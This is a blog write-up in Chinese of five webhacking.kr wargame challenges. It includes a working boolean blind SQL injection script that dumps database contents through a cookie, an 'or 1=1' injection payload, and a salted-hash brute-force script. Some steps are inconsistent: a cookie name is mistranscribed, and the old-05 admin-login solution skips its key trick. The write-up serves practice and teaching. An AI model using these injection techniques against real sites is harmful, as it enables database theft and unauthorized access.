webhacking.kr 一天五題系列 I

Albert Huang MED student | CS enthusiast

old-01

本題考點:Cookie 操縱、弱類型與數值比較

先來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include "../../config.php";
if($_GET['view-source'] == 1){ view_source(); }
if(!$_COOKIE['user_lv']){
SetCookie("user_lv","1",time()+86400*30,"/challenge/web-01/");
echo("<meta http-equiv=refresh content=0>");
}
?>
<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<?php
if(!is_numeric($_COOKIE['user_lv'])) $_COOKIE['user_lv']=1;
if($_COOKIE['user_lv']>=4) $_COOKIE['user_lv']=1;
if($_COOKIE['user_lv']>3) solve(1);
echo "<br>level : {$_COOKIE['user_lv']}";
?>
<br>
<a href=./?view-source=1>view-source</a>
</body>
</html>

可以發現網頁初始化時會建立一個名為 user_lv 的 cookie,並且在 $_COOKIE['user_lv']>3 時會成功拿到 flag,但當 $_COOKIE['user_lv']>=4 時,它的值會被重設為 1,因此我們只要將 user_lv 設為 3~4 之間的值即可。

old-02

本題考點:Boolean-based Blind SQL Injection

進入到網頁後會發現網頁內容為:

1
2
Restricted area
Hello stranger. Your IP is logging...

嘗試用 F12 看看 source code:

1
<!-- if you access admin.php i will kick your ass -->

/admin.php 看看網頁內容,會發現它需要填入一個 secret password,但嘗試了一些常見的弱密碼並沒有成功。

在 cookie 的頁面發現它設定了 time,設定為目前時間,而且在根目錄上的註解也會隨 cookie 設定變動,因此我們嘗試設定其值為 truefalse 看看:

1
2
3
4
5
6
7
8
true:
<!--
2070-01-01 09:00:01
-->
false:
<!--
2070-01-01 09:00:00
-->

可以發現其顯示時間不同,試試看常見的 SQL Expression 1 AND 1=1 --/1 AND 1=2 --,回應與 true/false 輸入相符,因此存在 Blind Boolean SQLi 漏洞,可用來找出資料庫名稱與內容。

使用 Python 來實作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import string

def get_length(exp):
length = 0
while True:
payload = f'LENGTH(({exp})) = {length}'
cookies = {'time': payload}
r = requests.get('https://webhacking.kr/challenge/web-02/', cookies=cookies)
if '2070-01-01 09:00:01' in r.text:
return length
length += 1

def get_name(exp, length):
name = ''
for i in range(1, length+1):
for char in string.printable:
payload = f'SUBSTR(({exp}), {i}, 1) = "{char}"'
cookies = {'time': payload}
r = requests.get('https://webhacking.kr/challenge/web-02/', cookies=cookies)
if '2070-01-01 09:00:01' in r.text:
name += char
break
return name

# database
database_length = get_length('SELECT database()')
database_name = get_name('SELECT database()', database_length)

# table
table_length = get_length(f'SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="{database_name}" LIMIT 0,1')
table_name = get_name(f'SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="{database_name}" LIMIT 0,1', table_length)

# column
column_length = get_length(f'SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="{table_name}" LIMIT 0,1')
column_name = get_name(f'SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="{table_name}" LIMIT 0,1', column_length)

# content
content_length = get_length(f'SELECT {column_name} from {table_name} LIMIT 0,1')
content_name = get_name(f'SELECT {column_name} from {table_name} LIMIT 0,1', content_length)
print(content_name)

找到 content_name 之後就是 secret password 的值,填入即可。

old-03

本題考點:客戶端輸入、SQL Injection in INSERT/UPDATE

這題一開始會先跟你玩一個 Nonogram 的遊戲,蠻簡單的。

通過之後會顯示一個輸入欄位:

1
2
Clear!
enter your name for log :

嘗試一些 SQLi 的方法但都沒用,不過特別紀錄 IP 感覺有特別的原因

1
2
3
name : ' 1=1--
answer : 1010100000011100101011111
ip : X.X.X.X

看一下原始碼:

1
<input type="hidden" name="answer" value="1010100000011100101011111">

有一個被隱藏起來,看起來是剛剛作答 Nonogram 的答案,那如果把 payload 放進 value 裡面會成功把紀錄的 IP 蓋掉嗎?

1
<input type="hidden" name="answer" value="' or 1=1 -- ">

old-04

本題考點:離線 hash 爆破

進到題目之後發現它給了一串 hash,來觀察一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
include "../../config.php";
if($_GET['view-source'] == 1) view_source();
?><html>
<head>
<title>Challenge 4</title>
<style type="text/css">
body { background:black; color:white; font-size:9pt; }
table { color:white; font-size:10pt; }
</style>
</head>
<body><br><br>
<center>
<?php
sleep(1); // anti brute force
if((isset($_SESSION['chall4'])) && ($_POST['key'] == $_SESSION['chall4'])) solve(4);
$hash = rand(10000000,99999999)."salt_for_you";
$_SESSION['chall4'] = $hash;
for($i=0;$i<500;$i++) $hash = sha1($hash);
?><br>
<form method=post>
<table border=0 align=center cellpadding=10>
<tr><td colspan=3 style=background:silver;color:green;><b><?=$hash?></b></td></tr>
<tr align=center><td>Password</td><td><input name=key type=text size=30></td><td><input type=submit></td></tr>
</table>
</form>
<a href=?view-source=1>[view-source]</a>
</center>
</body>
</html>

看起來它是用 10000000~99999999 之間的一個數加上 salt 做成一個 hash,並在重複 sha1 500 次之後顯示在畫面上,我們的目標就是找到原本的 hash 並放到 key 中。

用 Python 實作查表:

1
2
3
4
5
6
7
8
9
10
11
import hashlib
from tqdm import tqdm

f = open("test.txt", "w")
salt = 'salt_for_you'
for i in tqdm(range(10000000, 99999999)):
hash = hashlib.sha1((str(i)+salt).encode()).hexdigest()
hash500 = hash
for i in range(500):
hash500 = hashlib.sha1(hash500.encode()).hexdigest()
f.write(hash + ' ' + hash500 + '\n')

根據硬體不同,像我完整跑完大概需要 4 小時,可以在跑到大概 時善用網頁重整來搜尋,大概會有 20%25% 的機率可以找到正確的 key。

old-05

本題考點:隱藏路徑枚舉、JS Deobfuscation、SQL String Truncation / Padding

一開始會看到一個有 Login 和 Join 的頁面,在 Login 的頁面嘗試一些 admin 登入的 SQLi 失敗。

按下 Join 後會有彈出視窗顯示 Access_Denied,看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
<input type="button" value="Join" style="border:0;width:100;background=black;color=blue" onmouseover="this.focus();" onclick="no();">
...
function no()
{
alert('Access_Denied');
}

function move(page)
{
if(page=='login') { location.href='mem/login.php'; }
}

可以發現它並沒有實作 Join 的按鈕跳轉,只是單獨顯示 Access_Denied,不過同時可以發現 login 的頁面位於 mem/login.php,因此可以嘗試到 mem/join.php 發現了真正的 join 頁面。

進入頁面後一開始一樣跳出了一個視窗顯示 bye,一樣看一下 source code:

1
2
3
l='a';ll='b';lll='c';llll='d';lllll='e';llllll='f';lllllll='g';llllllll='h';lllllllll='i';llllllllll='j';lllllllllll='k';llllllllllll='l';lllllllllllll='m';llllllllllllll='n';lllllllllllllll='o';llllllllllllllll='p';lllllllllllllllll='q';llllllllllllllllll='r';lllllllllllllllllll='s';llllllllllllllllllll='t';lllllllllllllllllllll='u';llllllllllllllllllllll='v';lllllllllllllllllllllll='w';llllllllllllllllllllllll='x';lllllllllllllllllllllllll='y';llllllllllllllllllllllllll='z';I='1';II='2';III='3';IIII='4';IIIII='5';IIIIII='6';IIIIIII='7';IIIIIIII='8';IIIIIIIII='9';IIIIIIIIII='0';li='.';ii='<';iii='>';lIllIllIllIllIllIllIllIllIllIl=lllllllllllllll+llllllllllll+llll+llllllllllllllllllllllllll+lllllllllllllll+lllllllllllll+ll+lllllllll+lllll;
lIIIIIIIIIIIIIIIIIIl=llll+lllllllllllllll+lll+lllllllllllllllllllll+lllllllllllll+lllll+llllllllllllll+llllllllllllllllllll+li+lll+lllllllllllllll+lllllllllllllll+lllllllllll+lllllllll+lllll;if(eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl)==-1) {alert('bye');throw "stop";}if(eval(llll+lllllllllllllll+lll+lllllllllllllllllllll+lllllllllllll+lllll+llllllllllllll+llllllllllllllllllll+li+'U'+'R'+'L').indexOf(lllllllllllll+lllllllllllllll+llll+lllll+'='+I)==-1){alert('access_denied');throw "stop";}else{document.write('<font size=2 color=white>Join</font><p>');document.write('.<p>.<p>.<p>.<p>.<p>');document.write('<form method=post action='+llllllllll+lllllllllllllll+lllllllll+llllllllllllll+li+llllllllllllllll+llllllll+llllllllllllllll
+'>');document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name='+lllllllll+llll+' maxlength=20></td></tr>');document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name='+llllllllllllllll+lllllllllllllllllllllll+'></td></tr>');document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');}

用 AI deobfuscate 一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// 檢查 cookie 裡是否有 "oldymbghe"
if (document.cookie.indexOf("oldzombie") === -1) {
alert("bye");
throw "stop";
}

// 檢查網址參數是否有 mode=1
if (document.URL.indexOf("mode=1") === -1) {
alert("access_denied");
throw "stop";
}

// 通過檢查後顯示登入表單
document.write('<font size=2 color=white>Join</font><p>');
document.write('.<p>.<p>.<p>.<p>.<p>');

document.write(
'<form method="post" action="join.php">'
);

document.write(
'<table border=1>' +
'<tr>' +
'<td><font color=gray>id</font></td>' +
'<td><input type="text" name="id" maxlength="20"></td>' +
'</tr>' +

'<tr>' +
'<td><font color=gray>pass</font></td>' +
'<td><input type="text" name="pw"></td>' +
'</tr>' +

'<tr align="center">' +
'<td colspan="2">' +
'<input type="submit">' +
'</td>' +
'</tr>' +
'</table>' +
'</form>'
);

可以發現它需要設定 cookie 和網址的 get 參數之後才會顯示註冊表單,設定一下即可。

隨便註冊一個帳號並登入會得到以下訊息:

1
2
Hello test
You have to login as admin .

但註冊 admin 帳號則會顯示:

1
id already existed

因此嘗試註冊 admin 作為帳號,成功登入。

  • Title: webhacking.kr 一天五題系列 I
  • Author: Albert Huang
  • Created at : 2026-06-12 13:51:34
  • Updated at : 2026-06-26 14:08:16
  • Link: https://blog.albert-web.tw/2026/06/12/webhacking-writeup-1/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
webhacking.kr 一天五題系列 I